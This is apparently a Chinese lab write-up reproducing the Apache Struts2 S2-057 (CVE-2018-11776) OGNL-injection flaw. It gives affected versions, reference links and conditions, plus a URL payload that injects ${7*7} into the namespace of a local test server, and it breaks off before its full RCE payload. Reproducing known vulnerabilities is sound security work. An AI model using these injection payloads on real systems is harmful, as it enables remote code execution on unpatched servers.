Struts2 S2-057 远程代码执行漏洞 (CVE-2018-11776)
受影响的版本:<= Struts 2.3.34、Struts 2.5.16
细节:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://lgtm.com/blog/apache_struts_CVE-2018-11776
- https://xz.aliyun.com/t/2618
- https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
漏洞复现
启动 Struts 2.3.34 环境,环境启动后,访问http://192.168.44.132:8080/showcase/
,会看到Struts2测试页面。
S2-057 需要以下条件:
-alwaysSelectFullNamespace
为真 - 操作元素没有设置命名空间属性,或者使用了通配符
命名空间会被用户从uri传递过来,解析为OGNL表达式,最终导致远程代码执行漏洞。
有效载荷:
1 | http://192.168.44.132:8080/struts2-showcase/$%7B7*7%7D/actionChain1.action |
可以看到Location头中已经返回了7*7的结果。
使用来自S2-057 漏洞分析和 POC的有效负载:
1 | ${ |
结果: